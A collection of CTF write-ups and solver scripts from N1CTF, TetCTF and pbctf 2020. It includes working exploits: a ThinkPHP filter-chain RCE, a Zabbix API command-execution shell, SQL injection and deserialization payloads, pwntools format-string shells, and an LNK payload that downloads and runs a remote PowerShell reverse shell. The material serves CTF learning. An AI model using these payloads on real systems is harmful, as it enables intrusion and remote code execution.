20 | ```
21 | public function method($method = false)
22 | {
23 | if (true === $method) {
24 | return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
25 | } elseif (!$this->method) {
26 | if (isset($_POST[Config::get('var_method')])) {
27 | $this->method = strtoupper($_POST[Config::get('var_method')]);
28 | $this->{$this->method}($_POST);
29 | } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
30 | $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
31 | } else {
32 | $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
33 | }
34 | }
35 | return $this->method;
36 | }
37 |
38 | ```
39 |
40 | And this part
41 |
42 | ```
43 | if (isset($_POST[Config::get('var_method')])) {
44 | $this->method = strtoupper($_POST[Config::get('var_method')]);
45 | $this->{$this->method}($_POST);
46 | }
47 | ```
48 |
49 | Accoring to `config.php` the `var_method` is set to `_method` it means that we can call any method with `$_POST` as argument.
50 |
51 | In our exploit, The `_method`'s value in post parameters is ``__construct``.
52 |
53 | ## Second step
54 |
55 | `__constructor` method of `Request.php` is
56 |
57 | ```
58 | public function __construct($options = []){
59 | foreach ($options as $name => $item) {
60 | if (property_exists($this, $name)) {
61 | $this->$name = $item;
62 | }
63 | }
64 | if (is_null($this->filter)) {
65 | $this->filter = Config::get('default_filter');
66 | }
67 | }
68 | ```
69 |
70 | In the exploit, The `__construct` method is called with `$_POST` as arg so `$options` here is `$_POST`.
71 |
72 | So we can overwrite any object's property to arbitrary value.
73 |
74 | In the exploit we overwrite
75 |
76 | ```
77 | path => "payload"
78 | _method => "__construct"
79 | filter => ["set_error_handler","self::path","base64_decode","\think\view\driver\Php::Display"]
80 | method => "GET"
81 | ```
82 |
83 | ## Third step
84 |
85 | Now the code continues until this code in `input` method
86 |
87 | ```
88 | if (is_array($data)) {
89 | array_walk_recursive($data, [$this, 'filterValue'], $filter);
90 | reset($data);
91 | }
92 | ```
93 |
94 | where `array_walk_recursive` calls `filterValue` method with following args in first call.
95 |
96 | ```
97 | &$value -> implode
98 | $key -> key of array - not important
99 | $filters -> ["set_error_handler","self::path","base64_decode","\think\view\driver\Php::Display"]
100 |
101 | ```
102 |
103 | In `filterValue` we have
104 |
105 | ```
106 | private function filterValue(&$value, $key, $filters)
107 | {
108 | $default = array_pop($filters);
109 | foreach ($filters as $filter) {
110 | if (is_callable($filter)) {
111 | $value = call_user_func($filter, $value);
112 | } elseif (is_scalar($value)) {
113 | if (strpos($filter, '/')) {
114 | if (!preg_match($filter, $value)) {
115 | $value = $default;
116 | break;
117 | }
118 | } elseif (!empty($filter)) {
119 | $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
120 | if (false === $value) {
121 | $value = $default;
122 | break;
123 | }
124 | }
125 | }
126 | }
127 | return $this->filterExp($value);
128 | }
129 | ```
130 |
131 | This part is important:
132 |
133 | ```
134 | foreach ($filters as $filter) {
135 | if (is_callable($filter)) {
136 | $value = call_user_func($filter, $value);
137 | }
138 | ```
139 |
140 | It calls each filter, with previous function's return value. We can call arbitrary function with arbitrary arg But it's so limited with disabled functions and arguments count limitation. So now we need to chains function ( ROP :P ).
141 |
142 | Our main gadget is `display` method in `think\view\driver\Php`.
143 |
144 | Which is
145 |
146 | ```
147 | public function display($content, $data = [])
148 | {
149 | if (isset($data['content'])) {
150 | $__content__ = $content;
151 | extract($data, EXTR_OVERWRITE);
152 | eval('?>' . $__content__);
153 | } else {
154 | extract($data, EXTR_OVERWRITE);
155 | eval('?>' . $content);
156 | }
157 | }
158 | ```
159 |
160 | Fortunately php supports calling non static methods ( with a warning ), But the framework has set `error_hander` to some function, so if we call non static method, we will face framework's error handler. So first we have to call `set_error_handler` with dummy function's name, here `implode`, to turn off framework's error handling. So here is my chain.
161 |
162 | ```
163 | function | argument ^ return value
164 | 1.
165 | set_error_handler | "implode" ^ array
166 | 2.
167 | self::path | The path property which we overwrited ^ base64 payload
168 | 3.
169 | base64_decode | base64 payload ^ decoded payload
170 | 4.
171 | \think\view\driver\Php::Display | decoded payload
172 |
173 | ```
174 |
175 | So now we had control over arguments, Then we used [this](https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php) payload to execute system commands, and got flag.
176 |
177 | Flag: n1ctf{ab24ad523665a581da7fd54386895f51}
178 |
--------------------------------------------------------------------------------
/2020/N1CTF 2020/web/fun_zabbix/README.md:
--------------------------------------------------------------------------------
1 | ## fun_zabbix
2 |
3 | After we compose docker, we can access 8080 port with running zabbix. During try somthing, sapra found https://www.exploit-db.com/exploits/39937 and it worked successfully. Now we got rce.
4 |
5 | P.S I changed rce payload little
6 |
7 | ```python
8 | import requests
9 | import json
10 | import readline
11 |
12 | ZABIX_ROOT = 'http://vuln.live:8080' ### Zabbix IP-address
13 | url = ZABIX_ROOT + '/api_jsonrpc.php' ### Don't edit
14 |
15 | login = 'Admin' ### Zabbix login
16 | password = 'zabbix' ### Zabbix password
17 | hostid = '10084' ### Zabbix hostid
18 |
19 | ### auth
20 | payload = {
21 | "jsonrpc" : "2.0",
22 | "method" : "user.login",
23 | "params": {
24 | 'user': ""+login+"",
25 | 'password': ""+password+"",
26 | },
27 | "auth" : None,
28 | "id" : 0,
29 | }
30 | headers = {
31 | 'content-type': 'application/json',
32 | }
33 |
34 | auth = requests.post(url, data=json.dumps(payload), headers=(headers))
35 | print auth
36 | auth = auth.json()
37 |
38 | while True:
39 | cmd = raw_input('\033[41m[zabbix_cmd]>>: \033[0m ')
40 | if cmd == "" : print "Result of last command:"
41 | if cmd == "quit" : break
42 |
43 | ### update
44 | payload = {
45 | "jsonrpc": "2.0",
46 | "method": "script.update",
47 | "params": {
48 | "scriptid": "1",
49 | "command": ""+cmd+""
50 | },
51 | "auth" : auth['result'],
52 | "id" : 0,
53 | }
54 |
55 | cmd_upd = requests.post(url, data=json.dumps(payload), headers=(headers))
56 |
57 | ### execute
58 | payload = {
59 | "jsonrpc": "2.0",
60 | "method": "script.execute",
61 | "params": {
62 | "scriptid": "1",
63 | "hostid": ""+hostid+""
64 | },
65 | "auth" : auth['result'],
66 | "id" : 0,
67 | }
68 |
69 | cmd_exe = requests.post(url, data=json.dumps(payload), headers=(headers))
70 | cmd_exe = cmd_exe.json()
71 | try:
72 | print cmd_exe["result"]["value"]
73 | except:
74 | print 'No such command.'
75 | ```
76 |
77 | When I did `reverse shell`, I realized that we have `zabbix_get` in our dockers basically.
78 |
79 | So, we started to find some method using zabbix_get and finally found `vfs.file.contents`.
80 |
81 |
82 |
83 | So, our final payload was `zabbix_get -s zabbix-agent-secret -k vfs.file.contents[/flag/flag.txt]`
84 |
85 | `n1ctf{cefa715f75e28670afe7d4bf654e00e4}`
--------------------------------------------------------------------------------
/2020/N1CTF 2020/web/signin/README.md:
--------------------------------------------------------------------------------
1 | # Web signin
2 |
3 | ## Description
4 |
5 | It was php serialization challenge, ended up having 78 solves.
6 |
7 | ## Challenge
8 |
9 | ```
10 | class ip {
11 | public $ip;
12 | public function waf($info){
13 | }
14 | public function __construct() {
15 | if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
16 | $this->ip = $this->waf($_SERVER['HTTP_X_FORWARDED_FOR']);
17 | }else{
18 | $this->ip =$_SERVER["REMOTE_ADDR"];
19 | }
20 | }
21 | public function __toString(){
22 | $con=mysqli_connect("localhost","root","********","n1ctf_websign");
23 | $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
24 | if(!mysqli_query($con,$sqlquery)){
25 | return mysqli_error($con);
26 | }else{
27 | return "your ip looks ok!";
28 | }
29 | mysqli_close($con);
30 | }
31 | }
32 |
33 | class flag {
34 | public $ip;
35 | public $check;
36 | public function __construct($ip) {
37 | $this->ip = $ip;
38 | }
39 | public function getflag(){
40 | if(md5($this->check)===md5("key****************")){
41 | readfile('/flag');
42 | }
43 | return $this->ip;
44 | }
45 | public function __wakeup(){
46 | if(stristr($this->ip, "n1ctf")!==False)
47 | $this->ip = "welcome to n1ctf2020";
48 | else
49 | $this->ip = "noip";
50 | }
51 | public function __destruct() {
52 | echo $this->getflag();
53 | }
54 |
55 | }
56 | if(isset($_GET['input'])){
57 | $input = $_GET['input'];
58 | unserialize($input);
59 | }
60 | ```
61 | ## Solution
62 |
63 | To solve this, we just have to reach `getflag` method with correct check property.
64 |
65 | ```
66 | public function getflag(){
67 | if(md5($this->check)===md5("key")){
68 | readfile('/flag');
69 | }
70 | return $this->ip;
71 | }
72 | ```
73 | `waf` method's code is not in picture.
74 |
75 | Also there is a mysql connection in `__toString` method of `ip` class. So maybe the correct key is there.
76 |
77 | To dump the key, we have to somehow get sql injection.
78 |
79 | Basically there is injection point in code:
80 |
81 | ```
82 | $sqlquery=sprintf("INSERT into n1ip(`ip`,`time`) VALUES ('%s','%s')",$this->waf($_SERVER['HTTP_X_FORWARDED_FOR']),time());
83 | ```
84 | Also this part of code is interesting.
85 |
86 | ```
87 | if(!mysqli_query($con,$sqlquery)){
88 | return mysqli_error($con);
89 | }else{
90 | return "your ip looks ok!";
91 | }
92 | ```
93 | This code returns mysql error or a `your ip looks ok!` based on the query result.
94 |
95 | The other interesting part is
96 |
97 | ```
98 | public function __wakeup(){
99 | if(stristr($this->ip, "n1ctf")!==False)
100 | $this->ip = "welcome to n1ctf2020";
101 | else
102 | $this->ip = "noip";
103 | }
104 | ```
105 |
106 | This means if our ip has `n1ctf` in it, then `welcome to n1ctf2020` is shown, otherwise `noip`.
107 |
108 | So if we can put `n1ctf` in mysql error code, we have sql injection.
109 |
110 | This injection does the job.
111 |
112 | ```
113 | '&&(select extractvalue(rand(),concat(0x3a,((select "n1ctf" from n1ip where 1=2 limit 1)))))&&'
114 | ```
115 |
116 | The query with our injection would return error with `n1ctf` in it if `1=1` and `null` otherwise.
117 |
118 | ## Exploit
119 |
120 | We can generate our serialized object with this code.
121 |
122 | ```
123 | $payload = new flag("A");
124 | $payload->ip = new ip();
125 | echo urlencode(urlencode( $input ));
126 | ```
127 |
128 | Which is
129 |
130 | ```
131 | O%3A4%3A%22flag%22%3A2%3A%7Bs%3A2%3A%22ip%22%3BO%3A2%3A%22ip%22%3A1%3A%7Bs%3A2%3A%22ip%22%3BN%3B%7Ds%3A5%3A%22check%22%3BN%3B%7DA
132 | ```
133 |
134 | Then in `X-Forwarded-For` header
135 |
136 | ```
137 | '&&(select extractvalue(rand(),concat(0x3a,((select "n1ctf" from n1ip where 1=1 limit 1)))))&&'
138 | ```
139 |
140 | The response contains `welcome to n1ctf2020` if `1=1` and `noip` otherwise.
141 |
142 | Then you can get key with dumping database, which is `n1ctf20205bf75ab0a30dfc0c`.
143 |
144 | Final payload is
145 |
146 | ```
147 | O%3A4%3A"flag"%3A2%3A%7Bs%3A2%3A"ip"%3Bs%3A1%3A"A"%3Bs%3A5%3A"check"%3Bs%3A25%3A"n1ctf20205bf75ab0a30dfc0c"%3B%7DA
148 | ```
149 |
150 | And the flag is n1ctf{you_g0t_1t_hack_for_fun}
151 |
152 |
--------------------------------------------------------------------------------
/2020/N1CTF 2020/web/the_king_of_phish/README.md:
--------------------------------------------------------------------------------
1 | # The king of phish (Victim bot)
2 | We are given the following code
3 | ```python
4 | import os
5 | import uuid
6 | import LnkParse3 as Lnk
7 | from flask import Flask, request
8 |
9 | app = Flask(__name__)
10 |
11 | @app.route('/')
12 | def index():
13 | source = open(__file__, 'r').read().replace("\n", "\x3c\x62\x72\x3e").replace(" ", "\x26\x6e\x62\x73\x70\x3b")
14 | return source
15 |
16 |
17 | @app.route('/send', methods=['POST'])
18 | def sendFile():
19 | if 'file' not in request.files:
20 | return 'No file part'
21 | file = request.files['file']
22 |
23 | if file.filename == '':
24 | return 'No selected file'
25 | data = file.stream.read()
26 | if not data.startswith(b"\x4c\x00"):
27 | return "You're a bad guy!"
28 | shortcut = Lnk.lnk_file(indata=data)
29 | if shortcut.data['command_line_arguments'].count(" "):
30 | return "File is killed by antivirus."
31 | filename = str(uuid.uuid4())+".lnk"
32 | fullname = os.path.join(os.path.abspath(os.curdir) + "/uploads", filename)
33 | open(fullname, "wb").write(data)
34 | clickLnk(fullname)
35 | return "Clicked."
36 |
37 |
38 | def clickLnk(lnkPath):
39 | os.system('cmd /c "%s"' % lnkPath)
40 |
41 |
42 | if __name__ == '__main__':
43 | app.run(host='0.0.0.0', port=5000)
44 | ```
45 | We can upload a LNK file which will be executed. The only limitation is the use of spaces in the command arguments, which we can bypass by using tab characters instead. To generate the payload we can use [lnk2pwn](https://github.com/tommelo/lnk2pwn) with the following config.json
46 | ```json
47 | {
48 | "shortcut": {
49 | "target_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShell.exe",
50 | "working_dir": "C:\\Users\\usera\\Desktop",
51 | "arguments": "IEX(New-Object\tNet.WebClient).DownloadString('http://[OUR SERVER]/reverse_shell.ps1')",
52 | "icon_path": "C:\\Windows\\System32\\notepad.exe",
53 | "icon_index": null,
54 | "window_style": "MINIMIZED",
55 | "description": "a",
56 | "fake_extension": ".txt",
57 | "file_name_prefix": "b"
58 | },
59 | "elevated_uac": {
60 | "file_name": "uac_bypass.vbs",
61 | "cmd": "cmd.exe"
62 | }
63 | }
64 | ```
65 | Uploading this gives us a shell and we can get the flag from `C:\Users\usera\Desktop\flag.txt`.
66 | The flag is `n1ctf{I'm_a_little_fish,_swimming_in_the_ocean}`
67 |
--------------------------------------------------------------------------------
/2020/TetCTF 2020/crypto/README.md:
--------------------------------------------------------------------------------
1 | Crypto Writeups : https://rkm0959.tistory.com/192
--------------------------------------------------------------------------------
/2020/TetCTF 2020/pwn/babyformat/babyformat:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/TetCTF 2020/pwn/babyformat/babyformat
--------------------------------------------------------------------------------
/2020/TetCTF 2020/pwn/babyformat/libc-2.23.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/TetCTF 2020/pwn/babyformat/libc-2.23.so
--------------------------------------------------------------------------------
/2020/TetCTF 2020/pwn/babyformat/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | context.arch = 'amd64'
4 | e = ELF('./babyformat')
5 | libc = ELF('./libc-2.23.so')
6 |
7 | fs = FileStructure()
8 | fs.flags = 0xfbad2c80
9 | fs._IO_read_ptr = 0x602480
10 | fs._IO_read_base = 0x602480
11 | fs._IO_read_end = 0x602480
12 | fs._IO_write_base = 0x602480
13 | fs._IO_write_ptr = 0x6024c0
14 | fs._IO_write_end = 0x6024d0
15 | fs._IO_buf_base = 0x602480
16 | fs._IO_buf_end = 0x6024d0
17 | fs._old_offset = 0
18 | fs.fileno = 0x3
19 | fs._lock = 0x602380
20 | fs._wide_data = 0x602390
21 | fs.vtable = 0x602140
22 |
23 | def exp():
24 | p = remote('192.46.228.70', 31337)
25 | p.recvuntil(': ')
26 | p.sendline('%40c%11$hhn%9$p'.ljust(0x10, '\x00') + str(fs)[0x10:] + ('A'*0x10 + p64(0x4009cb)).ljust(136, 'A') + p64(0x400740))
27 | p.recvuntil('0x')
28 | libc.address = int(p.recvuntil('Dat', drop=True), 16)-0x6d3ff
29 | log.success('Libc leak: '+hex(libc.address))
30 | p.recvuntil(': ')
31 | p.sendline('%40c%11$hhn;sh'.ljust(0x10, '\x00') + str(fs)[0x10:] + ('A'*0x10 + p64(0x4006ee)).ljust(136, 'A') + p64(libc.symbols['system']))
32 | p.interactive()
33 |
34 | run = True
35 | while run:
36 | try:
37 | exp()
38 | run = False
39 | except:
40 | continue
41 |
--------------------------------------------------------------------------------
/2020/TetCTF 2020/pwn/warmup/libc-2.23.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/TetCTF 2020/pwn/warmup/libc-2.23.so
--------------------------------------------------------------------------------
/2020/TetCTF 2020/pwn/warmup/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | from ctypes import *
3 |
4 | e = ELF('./warmup')
5 | libc = ELF('./libc-2.23.so')
6 | clib = CDLL(libc.path)
7 | # p = e.process()
8 | p = remote('192.46.228.70', 32338)
9 |
10 | srand = clib.srand
11 | rand = clib.rand
12 |
13 | # context.log_level = 0
14 |
15 | offset = 0x1270
16 |
17 | p.sendlineafter(b'? ',b'100000000')
18 | p.sendlineafter(b': ',b'%88c%13$hhnAAAA%1$p %6$p %20$p')
19 |
20 | p.recvuntil(b'AAAA')
21 | base = int(p.recvuntil(b' '),16) - libc.symbols['_IO_2_1_stdout_'] - 131
22 | pie = int(p.recvuntil(b' '),16) - offset
23 | stack = int(p.recvuntil(b' '),16)
24 | print(hex(base))
25 | print(hex(pie))
26 | print(hex(stack))
27 |
28 | p.recvuntil(b'money: ')
29 | bmoney = int(p.recvuntil(b' '))
30 | heap = bmoney - 0x10
31 | print(hex(heap))
32 |
33 | p.sendlineafter(b'): ',b'1')
34 | p.sendlineafter(b': ',b'0')
35 |
36 | p.recvuntil(b'number: ')
37 | a = int(p.recvline())
38 |
39 | p.recvuntil(b'money: ')
40 | amoney = int(p.recvuntil(b' '))
41 | b = (bmoney - amoney - 1)
42 | print(a,b)
43 |
44 | for i in range(1<<24):
45 | srand(i)
46 | if rand() == a and rand() == b:
47 | print(hex(i))
48 | break
49 |
50 | c = rand()
51 | d = rand()
52 |
53 | diff = (stack - amoney)
54 |
55 | p.sendlineafter(b'): ',str(diff - d))
56 | p.sendlineafter(b': ',str(c))
57 |
58 | p.recvuntil(b'money: ')
59 | buf = int(p.recvuntil(b' '))
60 | print(hex(buf))
61 |
62 | oneshot = 0x4527a + base
63 |
64 | p.sendlineafter(b'): ',b'0')
65 | pay = p64(oneshot)*4
66 | pay += p64(0)*0x20
67 |
68 | p.sendafter(b': ',pay)
69 |
70 |
71 | p.interactive()
72 |
--------------------------------------------------------------------------------
/2020/TetCTF 2020/pwn/warmup/warmup:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/TetCTF 2020/pwn/warmup/warmup
--------------------------------------------------------------------------------
/2020/TetCTF 2020/web/Super Calc/README.md:
--------------------------------------------------------------------------------
1 | ## Code
2 | ```php
3 | 70) {
15 | die("Tired of calculating? Lets relax <3");
16 | }
17 | echo 'Result: ';
18 | eval("echo ".eval("return ".$_GET["calc"].";").";");
19 | }
20 | ```
21 |
22 | ## Solver
23 | `http://139.180.155.171/?calc=%28%27.%7C%27%5E%2724%27%5E%27%7C%2B%27%29.%28%27%7C%27%5E%274%27%5E%27%29%27%29.%28%27%2A%27%5E%27%5E%27%29.%28%27%26%27%26%27%29%27%29.%27%2A%27.%28%27.%27%5E%272%27%5E%27%7C%27%29`
24 |
--------------------------------------------------------------------------------
/2020/TetCTF 2020/web/hpny/README.md:
--------------------------------------------------------------------------------
1 | ## Code
2 | ```php
3 | 50) {
24 | die("bumbadum badum");
25 | }
26 | eval("echo ".$_GET["roll"]."();");
27 | }
28 |
29 | ?>
30 | ```
31 |
32 | ## Solver
33 | `curl -H 'X: fl4g_here_but_can_you_get_it_hohoho.php' 'http://139.180.155.171:8003/?roll=readfile(getenv(HTTP_X))'`
34 |
--------------------------------------------------------------------------------
/2020/TetCTF 2020/web/mysqlimit/README.md:
--------------------------------------------------------------------------------
1 | ## mysqlimit
2 |
3 | ```
4 | Description:
5 |
6 | Limit 'Em All! http://45.77.255.164/
7 | ```
8 |
9 | ```php
10 | ﹏<)・゚。
21 | if (preg_match('/union|and|or|on|cast|sys|inno|mid|substr|pad|space|if|case|exp|like|sound|produce|extract|xml|between|count|column|sleep|benchmark|\<|\>|\=/is' , $_GET['id']))
22 | {
23 | die('
');
24 | }
25 | else
26 | {
27 | // prevent sql injection
28 | $id = mysqli_real_escape_string($conn, $_GET["id"]);
29 |
30 | $query = "select * from flag_here_hihi where id=".$id;
31 | $run_query = mysqli_query($conn,$query);
32 |
33 | if(!$run_query) {
34 | echo mysqli_error($conn);
35 | }
36 | else
37 | {
38 | // I'm kidding, just the name of flag, not flag :(
39 | echo '
';
40 | $res = $run_query->fetch_array()[1];
41 | echo $res;
42 | }
43 | }
44 | }
45 |
46 | ?>
47 | ```
48 |
49 | The code is filtering `sys` and `column`. So, I thought it's hard to get column name directly and also `union` is filtered. So, we cannot use redefining column name using `union` is also unavailable. But there is a part which prints error.
50 |
51 | ```php
52 | if(!$run_query) {
53 | echo mysqli_error($conn);
54 | }
55 | ```
56 |
57 |
58 |
59 | So, I guess we can trigger errors for getting column name.
60 |
61 | While I was digging some method, I realized that server's configuration is not normal case.
62 |
63 | Below payload caused an error.
64 |
65 | ```sql
66 | -9 group by 1
67 | ```
68 |
69 | error:
70 |
71 | ```
72 | Expression #2 of SELECT list is not in GROUP BY clause and contains nonaggregated column 'flag_here_hoho.flag_here_hihi.t_fl4g_name_su' which is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by
73 | ```
74 |
75 | this error is displaying `dbname.table_name.column_name`
76 |
77 | So, we can get the column name of flag with `group by 2`
78 |
79 |
80 |
81 | ```
82 | Expression #3 of SELECT list is not in GROUP BY clause and contains nonaggregated column 'flag_here_hoho.flag_here_hihi.t_fl4g_v3lue_su' which is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by
83 | ```
84 |
85 | So, column name was `t_fl4g_v3lue_su`.
86 |
87 | And there is no filtering with `right`, `left`, `ascii` and `in`. These will cause blind sql injection.
88 |
89 | So, my final payload is like this
90 |
91 |
92 |
93 | ```python
94 | import requests
95 |
96 | flag = ''
97 | for i in range(1,100):
98 | for j in range(32,127):
99 | conn = requests.get('http://45.77.255.164/?id=-9||ascii(right(left(t_fl4g_v3lue_su,'+str(i)+'),1))in('+str(j)+')')
100 | r1 = conn.content
101 | #print j
102 | if 'handsome_flag' in r1:
103 | flag += chr(j)
104 | print flag
105 | break
106 | ```
--------------------------------------------------------------------------------
/2020/pbctf 2020/README.md:
--------------------------------------------------------------------------------
1 | ## pbCTF 2020 Write ups
2 |
3 | ### pwn
4 | - Jheap - [pwn/jheap](pwn/jheap)
5 | - Pwnception - [pwn/pwnception](pwn/pwnception)
6 | - Amazing ROP - [pwn/Amazing-ROP](pwn/Amazing-ROP)
7 |
8 | ### rev
9 | - RGNN - [rev/rgnn](rev/rgnn)
10 |
11 | ### misc
12 | - Vaccine Stealer - [misc/vaccine_stealer](misc/vaccine_stealer)
13 | - Not Stego - [misc/not_stego](misc/not_stego)
14 | - Find rbtree - https://rkm0959.tistory.com/174
15 | - Gcombo - [misc/gcombo](misc/gcombo)
16 |
17 | ### web
18 | - Ikea Name Generator - [web/ikea-name-generator](web/ikea-name-generator)
19 | - XSP - [web/XSP](web/XSP)
20 | - Apoche I - [web/apoche1](web/apoche1)
21 | - Simple Note - [web/simple_note](web/simple_note)
22 | - Sploosh - [web/sploosh](web/sploosh)
23 |
24 | ### crypto
25 | - Strong Cipher - [crypto/strong_cipher](crypto/strong_cipher)
26 | - Ainissesthai - [crypto/ainissesthai](crypto/ainissesthai)
27 | - QueenSarah2, LeaK, Special Gift, Special Gift Revenge - https://rkm0959.tistory.com/174
28 |
--------------------------------------------------------------------------------
/2020/pbctf 2020/crypto/ainissesthai/README.md:
--------------------------------------------------------------------------------
1 | # Challenge
2 |
3 | * **Points**: 53
4 | * **Solves**: 59
5 | * **Files**: [ainissesthai.py](./ainissesthai.py)
6 |
7 | ```
8 | A team of codebreakers had to invent computers to break this cipher. Can you figure out what the flag is?
9 | Remote: nc ainissesthai.chal.perfect.blue 1
10 | Note: enter flag as pbctf{UPPERCASEPLAINTEXT}
11 | By: UnblvR
12 | ```
13 |
14 | # Solution
15 | The server is encrypting the flag 50 times with different values using Enigma, which has a property that no letter ever encrypts to itself. We can recover the flag by getting many ciphertexts and eliminate characters until we're left with one.
16 |
17 | ```python
18 | from pwn import *
19 | from string import ascii_uppercase
20 |
21 | flag = [set(ascii_uppercase.encode()) for _ in range(17)]
22 | while any(len(c) != 1 for c in flag):
23 | r = remote('ainissesthai.chal.perfect.blue', 1)
24 | cts = r.recvall().split()
25 | for ct in cts:
26 | for i, c in enumerate(ct):
27 | if c in flag[i]:
28 | flag[i].remove(c)
29 |
30 | flag = bytes(int(c.pop()) for c in flag).decode()
31 | print(f'pbctf{{{flag}}}')
32 | ```
33 |
34 | # FLAG
35 | `pbctf{FATALFLAWINENIGMA}`
36 |
--------------------------------------------------------------------------------
/2020/pbctf 2020/crypto/ainissesthai/ainissesthai.py:
--------------------------------------------------------------------------------
1 | #!/bin/env python3
2 |
3 | from string import ascii_uppercase as UC
4 | from random import SystemRandom
5 | from enigma.machine import EnigmaMachine
6 | from secretstuff import FLAG, PLUGBOARD_SETTINGS
7 |
8 | assert FLAG.isupper() # Without pbcft{...}
9 | random = SystemRandom()
10 |
11 | for _ in range(50):
12 | ROTORS = [random.choice(("I","II","III","IV","V","VI","VII","VIII")) for _ in range(3)]
13 | REFLECTOR = random.choice(("B", "C", "B-Thin", "C-Thin"))
14 | RING_SETTINGS = [random.randrange(26) for _ in range(3)]
15 |
16 | machine = EnigmaMachine.from_key_sheet(
17 | rotors=ROTORS,
18 | reflector=REFLECTOR,
19 | ring_settings=RING_SETTINGS,
20 | plugboard_settings=PLUGBOARD_SETTINGS)
21 |
22 | machine.set_display(''.join(random.sample(UC, 3)))
23 |
24 | ciphertext = machine.process_text(FLAG)
25 |
26 | print(ciphertext)
--------------------------------------------------------------------------------
/2020/pbctf 2020/crypto/strong_cipher/ciphertext:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Super-Guesser/ctf/21ad5acdc39be59af80cc43412912ec662d0e695/2020/pbctf 2020/crypto/strong_cipher/ciphertext
--------------------------------------------------------------------------------
/2020/pbctf 2020/crypto/strong_cipher/solve.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python2
2 | import re
3 | def gf2(src1, src2):
4 | ret = 0
5 | for i in range(0, 8):
6 | if src2 & (1 << i):
7 | ret = ret ^ (src1 << i)
8 | for i in range(14, 7, -1):
9 | p = 0x11B << (i - 8)
10 | if ret & (1 << i):
11 | ret = ret ^ p
12 | return ret
13 |
14 | ct = open("ciphertext", "rb").read()
15 |
16 | key_len = 12
17 | ct_len = len(ct)
18 | pt = bytearray(ct_len)
19 | key = 0
20 |
21 | for j in range(key_len):
22 | max_printable = -1
23 | for k in range(256):
24 | printable = 0
25 | for i in range(j, ct_len, key_len):
26 | if (32 <= gf2(ord(ct[i]), k) <= 126):
27 | printable += 1
28 | if printable > max_printable:
29 | key = k
30 | max_printable = printable
31 | for i in range(j, ct_len, key_len):
32 | pt[i] = gf2(ord(ct[i]), key)
33 |
34 | print(re.findall(r'pbctf{.*}', pt)[0])
35 |
--------------------------------------------------------------------------------
/2020/pbctf 2020/misc/gcombo/README.md:
--------------------------------------------------------------------------------
1 | Looking at the source of the google form, it essentially gives us a directed graph.
2 | This was parsed and is present in parsed.py, solve.py uses breadth first search to find a path upto node 751651474.
3 | The path generated from the script can be used on the google form which asks us for a password, which can be found in the source.
4 | We can use the password `s3cuR3_p1n_id_2_3v3ry0ne` from the source, this will show us that flag is in the form `pbctf{_}`
5 |
6 | So, the flag is: `pbctf{5812693370_s3cuR3_p1n_id_2_3v3ry0ne}`
7 |
--------------------------------------------------------------------------------
/2020/pbctf 2020/misc/gcombo/solve.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python2
2 | from collections import defaultdict
3 | from parsed import z
4 |
5 | class Graph:
6 | def __init__(self):
7 | self.graph = defaultdict(list)
8 |
9 | def addEdge(self,u,v):
10 | self.graph[u].append(v)
11 |
12 | def bfs(self, s, e):
13 | queue = []
14 | queue.append([s])
15 |
16 | while queue:
17 | s = queue.pop(0)
18 | node = s[-1]
19 |
20 | if node == e:
21 | return s
22 |
23 | for adjacent in self.graph.get(node, []):
24 | new_path = list(s)
25 | new_path.append(adjacent)
26 | queue.append(new_path)
27 |
28 | edges = set()
29 | d = dict()
30 |
31 | for i in range(20):
32 | parent = z[(i*2) + 1][0]
33 | for j in range(10):
34 | try:
35 | d[z[(i*2)+2][4][0][1][j][2]] = int(z[(i*2)+2][4][0][1][j][0])
36 | edges.add((parent, z[(i*2)+2][4][0][1][j][2]))
37 | except:
38 | pass
39 |
40 | g = Graph()
41 | for i, j in edges:
42 | g.addEdge(i,j)
43 |
44 | path = g.bfs(1114266997, 751651474)
45 | print 5,
46 | for i in path[1:]:
47 | print d[i],
48 |
--------------------------------------------------------------------------------
/2020/pbctf 2020/misc/not_stego/README.md:
--------------------------------------------------------------------------------
1 | # Challenge
2 |
3 | * **Points**: 26
4 | * **Solves**: 135
5 | * **Files**: [profile.png](./profile.png)
6 |
7 | ```
8 | Hallmark of a good CTF is inclusion of Steganography. You asked and we delivered, or didn't we?
9 | By: theKidofArcrania
10 | ```
11 |
12 | # Solution
13 |
14 |
15 | By decoding the hex in the image we get
16 | ```
17 | Here's my link: https://pastebin.com/j6Xd9GNM <-- Hehehehe! See if you can RE me
18 | ```
19 | By visiting the pastebin we get the flag
20 |
21 | # FLAG
22 | `pbctf{3nc0d1ng_w1th_ass3mbly}`
23 |
--------------------------------------------------------------------------------
/2020/pbctf 2020/misc/not_stego/profile.png:
--------------------------------------------------------------------------------
